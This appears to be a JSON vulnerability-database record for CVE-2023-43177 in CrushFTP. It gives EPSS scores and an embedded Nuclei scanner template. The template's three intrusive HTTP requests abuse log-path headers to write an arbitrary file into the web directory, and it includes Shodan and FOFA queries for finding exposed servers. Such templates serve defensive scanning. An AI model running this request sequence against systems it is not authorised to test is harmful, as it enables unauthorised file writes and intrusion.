{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-43177/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-43177/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-43177/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-43177/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-43177/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-43177"},"sightings":{"href":"/api/v1/sightings/cve-2023-43177"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.81801,"kev":false,"percentile":0.99637},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-43177.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-43177\n\ninfo:\n  name: CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.\n  impact: |\n    Unauthenticated attackers can manipulate dynamically-determined object attributes to create arbitrary files in the web interface directory, potentially achieving remote code execution and compromising the entire CrushFTP file transfer server.\n  remediation: |\n    Update CrushFTP to version 10.5.1 or later that properly controls modification of object attributes and prevents arbitrary file creation through the WebInterface API.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-43177\n    - https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/\n    - https://blog.projectdiscovery.io/crushftp-rce/\n    - https://github.com/the-emmons/CVE-Disclosures/blob/main/Pending/CrushFTP-2023-1.md\n    - https://github.com/nomi-sec/PoC-in-GitHub\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-43177\n    cwe-id: CWE-913\n    epss-score: 0.81801\n    epss-percentile: 0.99637\n    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 3\n    vendor: crushftp\n    product: crushftp\n    shodan-query: http.html:\"crushftp\"\n    fofa-query: body=\"crushftp\"\n  tags: cve,cve2023,crushftp,unauth,rce,intrusive,vkev,vuln\nflow: http(1) && http(2) && http(3)\n\nvariables:\n  dirname: \"{{randbase(5)}}\"\n  filename: \"{{randbase(5)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/WebInterface\"\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - contains_all(to_lower(header), \"currentauth\", \"crushauth\")\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/WebInterface/function/?command=getUsername&c2f={{http_1_currentauth}}\"\n\n    headers:\n      Cookie: \"CrushAuth={{http_1_crushauth}}; currentAuth={{http_1_currentauth}}\"\n      as2-to: X\n      user_name: crushadmin{{dirname}}\n      user_log_path: \"./WebInterface/{{dirname}}/\"\n      user_log_file: \"{{filename}}\"\n      Content-Type: application/x-www-form-urlencoded\n\n    body: |\n      post=body\n\n    matchers:\n      - type: regex\n        regex:\n          - \"crushadmin\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/WebInterface/{{dirname}}/{{filename}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"crushadmin{{dirname}}\")\n        condition: and\n# digest: 490a0046304402201baf408e42c0eb2a88908088f7d1b735f510eaa2f3673400342afa1b57dc729302201e67445bc5d15ca849b79948bebba8b70054fc7eac86f4c0d19312bcad88352d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-43177"}